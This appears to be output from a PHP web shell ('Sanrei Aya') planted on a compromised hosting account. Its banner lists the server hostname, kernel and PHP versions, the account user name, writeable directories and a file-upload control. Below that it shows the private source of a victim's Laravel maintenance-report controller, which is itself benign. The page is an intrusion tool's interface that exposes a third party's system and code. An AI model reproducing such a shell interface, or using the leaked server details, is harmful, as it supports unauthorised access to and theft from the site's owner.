Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/app/Http/Controllers/Report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/app/Http/Controllers/Report/MaintenanceReportController.php
<?php

namespace App\Http\Controllers\Report;

use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Request;
use App\Models\Master\Tenant;
use Illuminate\Support\Facades\Auth;
use Carbon\Carbon;

class MaintenanceReportController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index($date_from, $date_to, $item_code)
    {
        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "report/maintenance/$date_from/$date_to/$item_code", 'name' => "Report Maintenance"]
        ];

        $tenant = Auth::user()->load('model');
        if (Auth::user()->model_type == 'App\Models\Master\Tenant') {
            $tenant = Tenant::where('id', '=', Auth::user()->model_id)->orderBy('name', 'asc');
            $tenant_id = Auth::user()->model_id;
        } else if (Auth::user()->model_type == 'App\Models\Bussiness') {
            $tenant = Tenant::orderBy('name', 'asc');
            $tenant_id = 0;
        }

        $tenant = $tenant->get();
        $show = true;

        if ($date_from == '-') {
            $date_from = date('Y-m-d', strtotime(Carbon::now()->startOfMonth()));
            $date_to = date('Y-m-d', strtotime(Carbon::now()));
        }

        if ($date_from == '-' && $item_code == '') {
            $show = false;
        }

        return view('content.report.maintenance', compact('tenant', 'tenant_id', 'date_from', 'date_to', 'show', 'item_code'), ['breadcrumbs' => $breadcrumbs]);
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        //
    }

    /**
     * Display the specified resource.
     */
    public function show(string $id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(string $id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, string $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(string $id)
    {
        //
    }
}

Yohohohohohooho | Sanrei Aya